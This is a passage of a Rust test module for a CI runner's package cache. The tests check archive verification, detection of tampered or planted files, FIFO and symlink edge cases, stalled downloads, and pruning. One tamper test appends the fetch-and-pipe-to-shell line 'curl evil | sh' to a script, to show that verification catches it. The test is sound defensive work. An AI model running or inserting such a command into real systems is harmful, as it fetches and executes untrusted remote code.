4618                    version: version("2.330.0"),
4619                },
4620                true,
4621            ),
4622        ];
4623
4624        let covered: std::collections::BTreeSet<&'static str> = samples
4625            .iter()
4626            .map(|(error, _)| variant_name(error))
4627            .collect();
4628        assert_eq!(
4629            covered.len(),
4630            PACKAGE_ERROR_VARIANTS,
4631            "every variant needs a sample; covered {covered:?}"
4632        );
4633
4634        for (error, terminal) in samples {
4635            let name = variant_name(&error);
4636            assert_eq!(
4637                error.is_terminal(),
4638                terminal,
4639                "{name} is classified the wrong way"
4640            );
4641            // `03-control-flows.md` calls the terminal ones "operator-
4642            // actionable": every one must say what to do, and a retryable one
4643            // must not, because the answer there is to wait.
4644            //
4645            // `Exhausted` is the exception that proves the rule — it is
4646            // terminal and delegates both its action and its journal reason to
4647            // whatever the budget was spent on, so it has an action only when
4648            // that inner error does.
4649            if name == "Exhausted" {
4650                continue;
4651            }
4652            assert_eq!(
4653                error.operator_action().is_some(),
4654                terminal,
4655                "{name}: a terminal condition owes an action and a retryable one does not"
4656            );
4657        }
4658    }
4659
4660    #[test]
4661    fn a_removed_sample_is_caught_by_the_coverage_assertion() {
4662        // The coverage check above is the only thing standing between a new
4663        // variant and going untested, so it gets its own negative control.
4664        let short: Vec<PackageError> = vec![PackageError::NotInstalled {
4665            version: version("2.330.0"),
4666        }];
4667        let covered: std::collections::BTreeSet<&'static str> =
4668            short.iter().map(variant_name).collect();
4669        assert_ne!(
4670            covered.len(),
4671            PACKAGE_ERROR_VARIANTS,
4672            "an incomplete sample list must not satisfy the coverage check"
4673        );
4674    }
4675
4676    #[test]
4677    fn exhaustion_reports_the_reason_the_budget_was_spent_on() {
4678        let exhausted = PackageError::Exhausted {
4679            attempts: 3,
4680            source: Box::new(PackageError::ChecksumMismatch {
4681                version: version("2.330.0"),
4682                expected: Sha256Hex::parse(&"a".repeat(64)).unwrap(),
4683                actual: Sha256Hex::parse(&"b".repeat(64)).unwrap(),
4684            }),
4685        };
4686        assert!(exhausted.is_terminal(), "the budget is spent");
4687        assert_eq!(
4688            exhausted.failure_reason(),
4689            Some(FailureReason::RunnerPackageUnverified),
4690            "the journal reason comes from what actually failed"
4691        );
4692    }
4693
4694    // =====================================================================
4695    // DoD 6 — pruning refuses a version a non-terminal attempt references,
4696    // and succeeds once that attempt is terminal.
4697    // =====================================================================
4698
4699    /// An attempt in `state`, with a runtime under the runtime directory where
4700    /// `e3` will actually put it.
4701    fn attempt_in(harness: &Harness, id: u128, state: AttemptState) -> RunnerAttempt {
4702        let id = AttemptId::from_u128(id);
4703        let runtime = harness
4704            .paths
4705            .runtime_dir()
4706            .join(fixtures::POLICY_ID.to_string())
4707            .join(id.to_string());
4708        fixtures::attempt()
4709            .id(id)
4710            .state(state)
4711            .runtime_path(runtime.to_string_lossy().to_string())
4712            .build()
4713    }
4714
4715    /// An attempt about to be materialized, with its runner root in place.
4716    fn reserved(harness: &Harness, id: u128) -> RunnerAttempt {
4717        let attempt = attempt_in(harness, id, AttemptState::Allocated);
4718        fs::create_dir_all(attempt.runtime_path().parent().unwrap()).unwrap();
4719        attempt
4720    }
4721
4722    /// One daemon's adapter for each of two targets over one package directory.
4723    fn two_targets(
4724        harness: &Harness,
4725    ) -> (
4726        crate::lifecycle::CachedRuntimePackages,
4727        crate::lifecycle::CachedRuntimePackages,
4728        crate::lifecycle::SharedPackages,
4729    ) {
4730        use crate::lifecycle::{CachedRuntimePackages, SharedPackages};
4731        let shared = SharedPackages::default();
4732        (
4733            CachedRuntimePackages::new(
4734                Arc::new(harness.cache().with_last_check(shared.last_check())),
4735                shared.clone(),
4736            ),
4737            CachedRuntimePackages::new(
4738                Arc::new(harness.cache().with_last_check(shared.last_check())),
4739                shared.clone(),
4740            ),
4741            shared,
4742        )
4743    }
4744
4745    fn no_exception(_: &std::ffi::OsStr) -> bool {
4746        false
4747    }
4748
4749    /// The tree an install unpacked, and what it must hold, for either archive.
4750    async fn installed_with_contents(
4751        harness: &Harness,
4752    ) -> (InstalledPackage, Arc<PackageContents>) {
4753        let (installed, downloaded) = harness
4754            .cache()
4755            .ensure_installed_reporting()
4756            .await
4757            .expect("installed");
4758        assert!(downloaded);
4759        let contents = installed.contents().expect("this call unpacked it");
4760        (installed, contents)
4761    }
4762
4763    #[tokio::test]
4764    async fn what_an_install_unpacked_verifies_against_its_archive() {
4765        let (harness, _, _) = linux_fixture();
4766        let (installed, contents) = installed_with_contents(&harness).await;
4767        assert_eq!(contents.verify(installed.root(), no_exception), Ok(()));
4768        // An entry found on disk has nothing to vouch for it.
4769        assert_eq!(
4770            harness
4771                .cache()
4772                .entry(installed.version())
4773                .unwrap()
4774                .unwrap()
4775                .contents(),
4776            None
4777        );
4778    }
4779
4780    #[test]
4781    fn a_zips_contents_are_read_from_it() {
4782        let dir = tempfile::tempdir().unwrap();
4783        let archive = zip_bytes(&[("run.cmd", "echo\n"), ("bin/Runner.exe", "bin\n")]);
4784        let into = dir.path().join("tree");
4785        extract(&archive, ArchiveKind::Zip, &into).unwrap();
4786        let contents = PackageContents::of_archive(&archive, ArchiveKind::Zip).unwrap();
4787        assert_eq!(contents.verify(&into, no_exception), Ok(()));
4788        fs::write(into.join("bin/Runner.exe"), "BIN\n").unwrap();
4789        assert_eq!(
4790            contents.verify(&into, no_exception),
4791            Err(ContentsMismatch::Modified)
4792        );
4793    }
4794
4795    #[test]
4796    fn a_tars_links_are_read_from_it() {
4797        let dir = tempfile::tempdir().unwrap();
4798        let archive = dir.path().join("package.tar.gz");
4799        let mut body = tar::Builder::new(Vec::new());
4800        let mut file = tar::Header::new_gnu();
4801        file.set_size(5);
4802        file.set_mode(0o755);
4803        file.set_cksum();
4804        body.append_data(&mut file, "bin/run", &b"run!\n"[..])
4805            .unwrap();
4806        for (kind, name, target) in [
4807            (tar::EntryType::Symlink, "latest", "bin/run"),
4808            (tar::EntryType::Link, "bin/again", "bin/run"),
4809        ] {
4810            let mut link = tar::Header::new_gnu();
4811            link.set_entry_type(kind);
4812            link.set_size(0);
4813            link.set_mode(0o777);
4814            body.append_link(&mut link, name, target).unwrap();
4815        }
4816        let tarball = body.into_inner().unwrap();
4817        let mut gz = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
4818        gz.write_all(&tarball).unwrap();
4819        fs::write(&archive, gz.finish().unwrap()).unwrap();
4820
4821        let contents =
4822            PackageContents::of_archive(&fs::read(&archive).unwrap(), ArchiveKind::TarGz).unwrap();
4823        assert_eq!(
4824            contents.entries.get(Path::new("bin/again")),
4825            contents.entries.get(Path::new("bin/run")),
4826            "a hard link holds what its target holds"
4827        );
4828        assert!(matches!(
4829            contents.entries.get(Path::new("latest")),
4830            Some(ExpectedEntry::Symlink { .. })
4831        ));
4832        assert!(matches!(
4833            contents.entries.get(Path::new("bin")),
4834            Some(ExpectedEntry::Directory { executable: false })
4835        ));
4836    }
4837
4838    /// Every way a job could change what the next runner executes.
4839    #[tokio::test]
4840    async fn a_tree_that_differs_from_its_archive_in_any_way_does_not_verify() {
4841        type Case = (&'static str, ContentsMismatch, fn(&Path));
4842        let cases: Vec<Case> = vec![
4843            ("same size, new bytes", ContentsMismatch::Modified, |root| {
4844                let run = root.join("run.sh");
4845                let mut bytes = fs::read(&run).unwrap();
4846                bytes[0] ^= 1;
4847                fs::write(run, bytes).unwrap();
4848            }),
4849            ("appended", ContentsMismatch::Modified, |root| {
4850                let mut file = fs::OpenOptions::new()
4851                    .append(true)
4852                    .open(root.join("run.sh"))
4853                    .unwrap();
4854                file.write_all(b"curl evil | sh\n").unwrap();
4855            }),
4856            ("a file planted", ContentsMismatch::Unexpected, |root| {
4857                fs::write(root.join("planted.sh"), "x").unwrap();
4858            }),
4859            (
4860                "a directory planted",
4861                ContentsMismatch::Unexpected,
4862                |root| {
4863                    fs::create_dir(root.join("planted")).unwrap();
4864                },
4865            ),
4866            ("removed", ContentsMismatch::Missing, |root| {
4867                fs::remove_file(root.join("run.sh")).unwrap();
4868            }),
4869        ];
4870        for (what, expected, edit) in cases {
4871            let (harness, _, _) = linux_fixture();
4872            let (installed, contents) = installed_with_contents(&harness).await;
4873            edit(installed.root());
4874            assert_eq!(
4875                contents.verify(installed.root(), no_exception),
4876                Err(expected),
4877                "{what}"
4878            );
4879        }
4880    }
4881
4882    /// What must be executable must be. The reverse is not asked for: a copy on a
4883    /// filesystem with fixed modes, such as a WSL drive, marks everything so.
4884    #[cfg(unix)]
4885    #[test]
4886    fn an_executable_that_no_longer_is_does_not_verify() {
4887        use std::os::unix::fs::PermissionsExt as _;
4888
4889        let dir = tempfile::tempdir().unwrap();
4890        let file = dir.path().join("run");
4891        fs::write(&file, "x").unwrap();
4892        let is = |mode| {
4893            fs::set_permissions(&file, fs::Permissions::from_mode(mode)).unwrap();
4894            fs::metadata(&file).unwrap()
4895        };
4896        assert_eq!(check_executable(&is(0o700), true), Ok(()));
4897        assert_eq!(check_executable(&is(0o755), false), Ok(()));
4898        assert_eq!(
4899            check_executable(&is(0o600), true),
4900            Err(ContentsMismatch::Modified)
4901        );
4902    }
4903
4904    /// A link to a copy with the same bytes still reads as changed, and is not
4905    /// followed.
4906    #[cfg(unix)]
4907    #[tokio::test]
4908    async fn a_file_swapped_for_a_link_does_not_verify() {
4909        let (harness, _, _) = linux_fixture();
4910        let (installed, contents) = installed_with_contents(&harness).await;
4911        let run = installed.root().join("run.sh");
4912        let elsewhere = installed.root().with_file_name("elsewhere");
4913        fs::copy(&run, &elsewhere).unwrap();
4914        fs::remove_file(&run).unwrap();
4915        std::os::unix::fs::symlink(&elsewhere, &run).unwrap();
4916        assert_eq!(
4917            contents.verify(installed.root(), no_exception),
4918            Err(ContentsMismatch::Modified)
4919        );
4920    }
4921
4922    /// A concurrent job swapping a file for a FIFO after the walk must not hang
4923    /// verification: nothing would ever write to it, and the launch holds a turn.
4924    #[cfg(unix)]
4925    #[test]
4926    fn a_fifo_in_place_of_a_file_is_refused_rather_than_waited_for() {
4927        let dir = tempfile::tempdir().unwrap();
4928        let fifo = dir.path().join("fifo");
4929        let status = std::process::Command::new("mkfifo")
4930            .arg(&fifo)
4931            .status()
4932            .expect("mkfifo runs");
4933        assert!(status.success());
4934        let finished = std::sync::mpsc::channel();
4935        let path = fifo.clone();
4936        std::thread::spawn(move || {
4937            let _ = finished.0.send(hash_all(&[(path, 1, [0; 32])]));
4938        });
4939        let outcome = finished
4940            .1
4941            .recv_timeout(std::time::Duration::from_secs(10))
4942            .expect("it does not wait for a writer");
4943        assert_eq!(outcome, Err(ContentsMismatch::Unreadable));
4944    }
4945
4946    /// The archive is read once. Read again for each step, a job could swap the
4947    /// file after its digest was checked, for a package and a record that agree.
4948    #[test]
4949    fn the_digest_the_package_and_the_record_come_from_one_read() {
4950        let source = include_str!("package.rs");
4951        let body = source
4952            .split("async fn fetch_verify_extract")
4953            .nth(1)
4954            .and_then(|rest| rest.split("// -- reading the cache").next())
4955            .expect("the function");
4956        assert_eq!(body.matches("fs::read(").count(), 1);
4957    }
4958
4959    /// A job that removes an entry's manifest leaves a directory no entry can be
4960    /// committed over: it must cost one download, not stop this host's launches.
4961    #[tokio::test]
4962    async fn an_entry_a_job_broke_is_replaced_rather_than_blocking_every_install() {
4963        use crate::lifecycle::{PackageTimings, RuntimePackages as _};
4964
4965        for break_it in [
4966            (|root: &Path| fs::remove_file(root.join(MANIFEST_FILE)).unwrap()) as fn(&Path),
4967            |root: &Path| {
4968                let manifest = root.join(MANIFEST_FILE);
4969                let held = fs::read_to_string(&manifest).unwrap();
4970                fs::write(manifest, held.replace("2.330.0", "2.331.0")).unwrap();
4971            },
4972            |root: &Path| {
4973                let manifest = root.join(MANIFEST_FILE);
4974                fs::remove_file(&manifest).unwrap();
4975                fs::create_dir(manifest).unwrap();
4976            },
4977            #[cfg(unix)]
4978            |root: &Path| {
4979                let manifest = root.join(MANIFEST_FILE);
4980                fs::remove_file(&manifest).unwrap();
4981                assert!(
4982                    std::process::Command::new("mkfifo")
4983                        .arg(&manifest)
4984                        .status()
4985                        .expect("mkfifo runs")
4986                        .success()
4987                );
4988            },
4989        ] {
4990            let (harness, _, _) = linux_fixture();
4991            let (one, _two, _shared) = two_targets(&harness);
4992            one.materialize(&reserved(&harness, 1), &mut PackageTimings::default())
4993                .await
4994                .expect("clean");
4995            let root = harness.cache().installed().unwrap().remove(0);
4996            break_it(root.root());
4997
4998            let second = reserved(&harness, 2);
4999            one.materialize(&second, &mut PackageTimings::default())
5000                .await
5001                .expect("prepared again");
5002            assert_eq!(harness.fetcher.count(), 2);
5003            assert!(second.runtime_path().join("run.sh").exists());
5004        }
5005    }
5006
5007    /// A FIFO left in a broken entry must not stop the daemon: removing the tree
5008    /// must not open it, and must not run on the async thread.
5009    #[cfg(unix)]
5010    #[tokio::test]
5011    async fn a_fifo_in_a_broken_entry_holds_nothing_up() {
5012        use crate::lifecycle::{PackageTimings, RuntimePackages as _};
5013
5014        let (harness, _, _) = linux_fixture();
5015        let (one, _two, _shared) = two_targets(&harness);
5016        one.materialize(&reserved(&harness, 1), &mut PackageTimings::default())
5017            .await
5018            .expect("clean");
5019        let root = harness.cache().installed().unwrap().remove(0);
5020        fs::remove_file(root.root().join(MANIFEST_FILE)).unwrap();
5021        let fifo = root.root().join("fifo");
5022        assert!(
5023            std::process::Command::new("mkfifo")
5024                .arg(&fifo)
5025                .status()
5026                .expect("mkfifo runs")
5027                .success()
5028        );
5029
5030        let second = reserved(&harness, 2);
5031        let mut timings = PackageTimings::default();
5032        tokio::time::timeout(
5033            std::time::Duration::from_secs(30),
5034            one.materialize(&second, &mut timings),
5035        )
5036        .await
5037        .expect("it does not wait on the FIFO")
5038        .expect("prepared again");
5039        let staging = harness.cache().staging_root();
5040        for _ in 0..500 {
5041            if fs::read_dir(&staging).map_or(0, Iterator::count) == 0 {
5042                return;
5043            }
5044            tokio::time::sleep(std::time::Duration::from_millis(10)).await;
5045        }
5046        panic!("the broken tree was not removed");
5047    }
5048
5049    /// A package as GitHub really shapes it: `./` entries, explicit directories,
5050    /// executables, a symlink and a hard link, through a real copy.
5051    #[cfg(unix)]
5052    #[tokio::test]
5053    async fn a_real_shaped_package_verifies_after_a_real_copy() {
5054        use crate::lifecycle::{PackageTimings, RuntimePackages as _};
5055
5056        let mut body = tar::Builder::new(Vec::new());
5057        let mut add = |kind, name: &str, mode, data: &[u8]| {
5058            let mut header = tar::Header::new_gnu();
5059            header.set_entry_type(kind);
5060            header.set_mode(mode);
5061            header.set_size(data.len() as u64);
5062            header.set_cksum();
5063            body.append_data(&mut header, name, data).unwrap();
5064        };
5065        add(tar::EntryType::Directory, "./", 0o755, b"");
5066        add(tar::EntryType::Directory, "./bin/", 0o755, b"");
5067        add(tar::EntryType::Regular, "./run.sh", 0o755, b"#!/bin/sh\n");
5068        add(tar::EntryType::Regular, "./bin/data.json", 0o644, b"{}\n");
5069        add(tar::EntryType::Regular, "./bin/Runner", 0o775, b"elf");
5070        for (kind, name, target) in [
5071            (tar::EntryType::Symlink, "./latest", "bin/Runner"),
5072            (tar::EntryType::Link, "./bin/again", "./bin/Runner"),
5073        ] {
5074            let mut link = tar::Header::new_gnu();
5075            link.set_entry_type(kind);
5076            link.set_size(0);
5077            link.set_mode(0o777);
5078            body.append_link(&mut link, name, target).unwrap();
5079        }
5080        let tarball = body.into_inner().unwrap();
5081        let mut gz = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
5082        gz.write_all(&tarball).unwrap();
5083        let payload = gz.finish().unwrap();
5084        let digest = hex_digest(&payload);
5085        let harness = Harness::new(
5086            vec![published(
5087                "linux",
5088                "x64",
5089                "2.330.0",
5090                ".tar.gz",
5091                Some(&digest),
5092            )],
5093            payload,
5094        );
5095        let (one, _two, _shared) = two_targets(&harness);
5096        let attempt = reserved(&harness, 1);
5097        one.materialize(&attempt, &mut PackageTimings::default())
5098            .await
5099            .expect("no false alarm on a real shape");
5100        assert!(attempt.runtime_path().join("bin/again").exists());
5101    }
5102
5103    /// A persistent slot's retained work folder is the job's own, at the top
5104    /// only: one anywhere else is planted.
5105    #[tokio::test]
5106    async fn only_a_top_level_ignored_entry_is_ignored() {
5107        let (harness, _, _) = linux_fixture();
5108        let (installed, contents) = installed_with_contents(&harness).await;
5109        fs::create_dir(installed.root().join("_work")).unwrap();
5110        fs::write(installed.root().join("_work/job"), "x").unwrap();
5111        assert_eq!(
5112            contents.verify(installed.root(), |name| name == "_work"),
5113            Ok(())
5114        );
5115        assert_eq!(
5116            contents.verify(installed.root(), no_exception),
5117            Err(ContentsMismatch::Unexpected)
5118        );
5119    }
5120
5121    /// What 0.4.49 trusted without reading: an edit the tree's look does not show,
5122    /// as on Windows, where there is no fingerprint at all. The runtime it reached
5123    /// is not used, the shared tree goes, and the next attempt prepares a clean one.
5124    #[tokio::test]
5125    async fn a_copy_of_an_edited_package_is_discarded_and_the_package_prepared_again() {
5126        use crate::lifecycle::{PackageTimings, RuntimePackages as _};
5127
5128        let (harness, _, _) = linux_fixture();
5129        let (one, _two, shared) = two_targets(&harness);
5130        let first = reserved(&harness, 1);
5131        let mut timings = PackageTimings::default();
5132        one.materialize(&first, &mut timings).await.expect("clean");
5133        assert!(timings.verify > std::time::Duration::ZERO, "it was read");
5134        let entry = harness.cache().installed().unwrap().remove(0);
5135        assert!(shared.vouches_for(entry.root()));
5136
5137        let run = entry.root().join("run.sh");
5138        let mut bytes = fs::read(&run).unwrap();
5139        bytes[0] ^= 1;
5140        fs::write(&run, &bytes).unwrap();
5141        shared.blind_to_edits_of(entry.root());
5142
5143        let second = reserved(&harness, 2);
5144        let refused = one
5145            .materialize(&second, &mut PackageTimings::default())
5146            .await;
5147        assert_eq!(refused.unwrap_err(), FailureReason::ProcessStartFailed);
5148        assert!(
5149            !second.runtime_path().exists(),
5150            "the copy is not left to use"
5151        );
5152        assert!(
5153            harness
5154                .cache()
5155                .holders(entry.version())
5156                .unwrap()
5157                .iter()
5158                .all(|holder| *holder != second.id)
5159        );
5160        assert!(!shared.vouches_for(entry.root()));
5161        assert_eq!(harness.fetcher.count(), 1);
5162
5163        one.materialize(&second, &mut PackageTimings::default())
5164            .await
5165            .expect("prepared again");
5166        assert_eq!(harness.fetcher.count(), 2);
5167        assert_ne!(
5168            fs::read(second.runtime_path().join("run.sh")).unwrap(),
5169            bytes
5170        );
5171    }
5172
5173    /// An address that answers with `head`, then whatever `then` sends.
5174    async fn serving_once<F, T>(head: &'static str, then: F) -> String
5175    where
5176        F: FnOnce(tokio::net::TcpStream) -> T + Send + 'static,
5177        T: std::future::Future<Output = ()> + Send,
5178    {
5179        use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
5180
5181        let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
5182        let address = listener.local_addr().unwrap();
5183        tokio::spawn(async move {
5184            let (mut stream, _) = listener.accept().await.unwrap();
5185            let mut request = [0_u8; 1024];
5186            let _ = stream.read(&mut request).await;
5187            stream.write_all(head.as_bytes()).await.unwrap();
5188            then(stream).await;
5189        });
5190        format!("http://{address}/package.tar.gz")
5191    }
5192
5193    const STALL: std::time::Duration = std::time::Duration::from_millis(300);
5194
5195    fn impatient_fetcher() -> HttpFetcher {
5196        HttpFetcher::new(
5197            reqwest::Client::builder()
5198                .read_timeout(STALL)
5199                .build()
5200                .expect("a client"),
5201        )
5202    }
5203
5204    #[tokio::test]
5205    async fn a_download_that_goes_silent_fails_rather_than_waits() {
5206        use tokio::io::AsyncWriteExt as _;
5207
5208        let dir = tempfile::tempdir().unwrap();
5209        let url = serving_once(
5210            "HTTP/1.1 200 OK\r\nContent-Length: 1000\r\n\r\n",
5211            |mut stream| async move {
5212                stream.write_all(b"the first bytes").await.unwrap();
5213                std::future::pending::<()>().await;
5214                drop(stream);
5215            },
5216        )
5217        .await;
5218
5219        let error = impatient_fetcher()
5220            .fetch(&url, &dir.path().join("archive"))
5221            .await
5222            .unwrap_err();
5223
5224        assert!(matches!(error, PackageError::Download { .. }), "{error}");
5225        assert!(!error.is_terminal(), "a later attempt may try again");
5226    }
5227
5228    #[tokio::test]
5229    async fn a_response_that_never_comes_fails_rather_than_waits() {
5230        let dir = tempfile::tempdir().unwrap();
5231        let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
5232        let url = format!("http://{}/package.tar.gz", listener.local_addr().unwrap());
5233
5234        let error = impatient_fetcher()
5235            .fetch(&url, &dir.path().join("archive"))
5236            .await
5237            .unwrap_err();
5238
5239        assert!(matches!(error, PackageError::Download { .. }), "{error}");
5240        drop(listener);
5241    }
5242
5243    /// A large package on a slow line takes as long as it takes: silence is what
5244    /// fails it, not time.
5245    #[tokio::test]
5246    async fn a_slow_download_that_keeps_coming_completes() {
5247        use tokio::io::AsyncWriteExt as _;
5248
5249        let dir = tempfile::tempdir().unwrap();
5250        let url = serving_once(
5251            "HTTP/1.1 200 OK\r\nContent-Length: 8\r\n\r\n",
5252            |mut stream| async move {
5253                for _ in 0..8 {
5254                    tokio::time::sleep(STALL / 3).await;
5255                    stream.write_all(b"x").await.unwrap();
5256                    stream.flush().await.unwrap();
5257                }
5258            },
5259        )
5260        .await;
5261        let destination = dir.path().join("archive");
5262
5263        let written = impatient_fetcher()
5264            .fetch(&url, &destination)
5265            .await
5266            .expect("slow is not stalled");
5267
5268        assert_eq!(written, 8);
5269        assert_eq!(fs::read(&destination).unwrap(), b"xxxxxxxx");
5270    }
5271
5272    /// What a stalled download wrote is not left behind, and is not an entry;
5273    /// the next attempt downloads from the start.
5274    #[tokio::test]
5275    async fn a_failed_download_leaves_nothing_and_the_next_attempt_retries() {
5276        #[derive(Debug)]
5277        struct Partial;
5278        #[async_trait::async_trait]
5279        impl PackageFetcher for Partial {
5280            async fn fetch(&self, _url: &str, destination: &Path) -> Result<u64, PackageError> {
5281                fs::write(destination, b"half an archive").unwrap();
5282                Err(PackageError::Download {
5283                    detail: "the connection sent nothing".into(),
5284                })
5285            }
5286        }
5287
5288        let (harness, _, _) = linux_fixture();
5289        let stalled = PackageCache::new(
5290            &harness.paths,
5291            Os::Linux,
5292            Arch::X64,
5293            CachePorts {
5294                catalog: Arc::clone(&harness.catalog) as Arc<dyn DownloadCatalog>,
5295                fetcher: Arc::new(Partial),
5296                backoff: Arc::new(NoBackoff),
5297                clock: Arc::clone(&harness.clock) as Arc<dyn Clock>,
5298            },
5299        )
5300        .with_retry_budget(1);
5301
5302        stalled.ensure_installed().await.unwrap_err();
5303
5304        assert!(stalled.installed().unwrap().is_empty());
5305        let left = fs::read_dir(stalled.staging_root())
5306            .map(|entries| entries.count())
5307            .unwrap_or(0);
5308        assert_eq!(left, 0, "the partial download is gone");
5309        harness.cache().ensure_installed().await.expect("retried");
5310    }
5311
5312    /// The launches queued behind an install that failed get its answer rather
5313    /// than each spending a stall of its own, and a later attempt tries again.
5314    #[tokio::test]
5315    async fn launches_queued_behind_a_failed_install_share_its_failure() {
5316        use crate::lifecycle::{PackageTimings, RuntimePackages as _};
5317
5318        let (harness, _, _) = linux_fixture();
5319        let gate = Arc::new(tokio::sync::Semaphore::new(0));
5320        *harness.fetcher.gate.lock().unwrap() = Some(Arc::clone(&gate));
5321        *harness.fetcher.fail.lock().unwrap() = true;
5322        let (one, two, _shared) = two_targets(&harness);
5323        let (first, second) = (reserved(&harness, 1), reserved(&harness, 2));
5324
5325        let (mut one_timings, mut two_timings) =
5326            (PackageTimings::default(), PackageTimings::default());
5327        let (a, b, ()) = tokio::join!(
5328            one.materialize(&first, &mut one_timings),
5329            two.materialize(&second, &mut two_timings),
5330            async {
5331                for _ in 0..20 {
5332                    tokio::task::yield_now().await;
5333                }
5334                gate.add_permits(100);
5335            }
5336        );
5337
5338        assert!(a.is_err());
5339        assert!(b.is_err());
5340        assert_eq!(
5341            harness.fetcher.count(),
5342            RETRY_BUDGET as usize,
5343            "one launch's retries"
5344        );
5345
5346        *harness.fetcher.fail.lock().unwrap() = false;
5347        let third = reserved(&harness, 3);
5348        one.materialize(&third, &mut PackageTimings::default())
5349            .await
5350            .expect("the next attempt downloads it");
5351        assert_eq!(harness.fetcher.count(), RETRY_BUDGET as usize + 1);
5352    }
5353
5354    /// The 142 s launch: each target distrusted the tree the other installed,
5355    /// so every switch between them downloaded the package again.
5356    #[tokio::test]
5357    async fn switching_between_targets_does_not_download_the_package_again() {
5358        use crate::lifecycle::{PackageTimings, RuntimePackages as _};
5359
5360        let (harness, _, _) = linux_fixture();
5361        let (one, two, _shared) = two_targets(&harness);
5362        for (id, packages) in [(1, &one), (2, &two), (3, &one), (4, &two)] {
5363            let attempt = reserved(&harness, id);
5364            let mut timings = PackageTimings::default();
5365            packages
5366                .materialize(&attempt, &mut timings)
5367                .await
5368                .expect("materialized");
5369            assert!(attempt.runtime_path().join("run.sh").exists());
5370            assert_eq!(timings.downloaded, id == 1, "attempt {id}: {timings:?}");
5371        }
5372        assert_eq!(harness.fetcher.count(), 1);
5373        assert_eq!(harness.catalog.calls(), 1, "one check, not one per target");
5374    }
5375
5376    #[tokio::test]
5377    async fn launches_materializing_together_share_one_download() {
5378        use crate::lifecycle::{PackageTimings, RuntimePackages as _};
5379
5380        let (harness, _, _) = linux_fixture();
5381        let (one, two, _shared) = two_targets(&harness);
5382        let first = reserved(&harness, 1);
5383        let second = reserved(&harness, 2);
5384
5385        let (mut one_timings, mut two_timings) =
5386            (PackageTimings::default(), PackageTimings::default());
5387        let (a, b) = tokio::join!(
5388            one.materialize(&first, &mut one_timings),
5389            two.materialize(&second, &mut two_timings)
5390        );
5391
5392        a.expect("the first");
5393        b.expect("the second");
5394        assert_eq!(harness.fetcher.count(), 1);
5395    }
5396
5397    /// Still replaced when a job edits it, whichever target notices.
5398    #[cfg(unix)]
5399    #[tokio::test]
5400    async fn a_tree_a_job_edited_is_replaced_for_every_target() {
5401        use crate::lifecycle::{PackageTimings, RuntimePackages as _};
5402
5403        let (harness, _, _) = linux_fixture();
5404        let (one, two, _shared) = two_targets(&harness);
5405        one.materialize(&reserved(&harness, 1), &mut PackageTimings::default())
5406            .await
5407            .expect("materialized");
5408        let entry = harness.cache().installed().unwrap().remove(0);
5409        fs::write(entry.root().join("planted"), b"from a job").unwrap();
5410
5411        two.materialize(&reserved(&harness, 2), &mut PackageTimings::default())
5412            .await
5413            .expect("materialized");
5414
5415        assert_eq!(harness.fetcher.count(), 2);
5416        assert!(!entry.root().join("planted").exists());
5417    }
5418
5419    /// A superseded version goes only when no copy or install is under way.
5420    #[tokio::test]
5421    async fn a_prune_leaves_the_trees_alone_while_they_are_in_use() {
5422        use crate::lifecycle::{PackageTimings, PruneAuthority, RuntimePackages as _};
5423        use crate::reconcile::{AllocationLock as _, InProcessAllocationLock};
5424
5425        let (harness, _, _) = linux_fixture();
5426        let (one, _two, shared) = two_targets(&harness);
5427        one.materialize(&reserved(&harness, 1), &mut PackageTimings::default())
5428            .await
5429            .expect("materialized");
5430        one.release(AttemptId::from_u128(1)).expect("released");
5431        let newer = tar_gz_bytes(&[("run.sh", "newer\n")]);
5432        harness.catalog.publish(vec![published(
5433            "linux",
5434            "x64",
5435            "2.340.0",
5436            ".tar.gz",
5437            Some(&hex_digest(&newer)),
5438        )]);
5439        harness.fetcher.serve(newer);
5440        harness
5441            .clock
5442            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
5443        let cache = harness.cache();
5444        cache.ensure_installed().await.expect("the newer install");
5445        assert_eq!(cache.installed().unwrap().len(), 2);
5446
5447        let lock = InProcessAllocationLock::new();
5448        let guard = lock.acquire().await.unwrap();
5449        {
5450            let _copying = shared.copying().await;
5451            one.prune_obsolete_guarded(PruneAuthority::for_test(&guard), &[])
5452                .expect("nothing to do yet");
5453            assert_eq!(cache.installed().unwrap().len(), 2);
5454        }
5455        one.prune_obsolete_guarded(PruneAuthority::for_test(&guard), &[])
5456            .expect("pruned");
5457        let left = cache.installed().unwrap();
5458        assert_eq!(left.len(), 1);
5459        assert_eq!(left[0].version(), &version("2.340.0"));
5460    }
5461
5462    #[tokio::test]
5463    async fn reinstall_replaces_a_tampered_entry_with_a_verified_download() {
5464        let (harness, _, _) = linux_fixture();
5465        let cache = harness.cache();
5466        let first = cache.ensure_installed().await.expect("the first install");
5467        assert_eq!(harness.fetcher.count(), 1);
5468
5469        // A job rewrites a file in the entry it can reach.
5470        let planted = first.root().join("planted");
5471        fs::write(&planted, b"from a job").unwrap();
5472
5473        let fresh = cache.reinstall().await.expect("the reinstall");
5474
5475        assert_eq!(fresh.version(), first.version());
5476        assert_eq!(
5477            harness.fetcher.count(),
5478            2,
5479            "the package was downloaded again"
5480        );
5481        assert!(!planted.exists(), "the tampered tree is gone");
5482        assert_eq!(
5483            cache.installed().unwrap().len(),
5484            1,
5485            "the reinstalled entry is the only one left"
5486        );
5487        // Removed in the background.
5488        let staged = || {
5489            fs::read_dir(cache.staging_root())
5490                .map(|entries| entries.count())
5491                .unwrap_or(0)
5492        };
5493        for _ in 0..500 {
5494            if staged() == 0 {
5495                break;
5496            }
5497            tokio::time::sleep(std::time::Duration::from_millis(10)).await;
5498        }
5499        assert_eq!(staged(), 0, "the set-aside tree is removed");
5500    }
5501
5502    #[tokio::test]
5503    async fn ensure_installed_reports_only_the_install_that_downloaded() {
5504        let (harness, _, _) = linux_fixture();
5505        let cache = harness.cache();
5506        let (first, downloaded) = cache.ensure_installed_reporting().await.unwrap();
5507        assert!(downloaded, "an empty cache downloads");
5508        let (again, downloaded) = cache.ensure_installed_reporting().await.unwrap();
5509        assert_eq!(again.root(), first.root());
5510        assert!(!downloaded, "an entry on disk is reused, not downloaded");
5511        assert_eq!(harness.fetcher.count(), 1);
5512    }
5513
5514    async fn cache_with_one_entry(harness: &Harness) -> PackageCache {
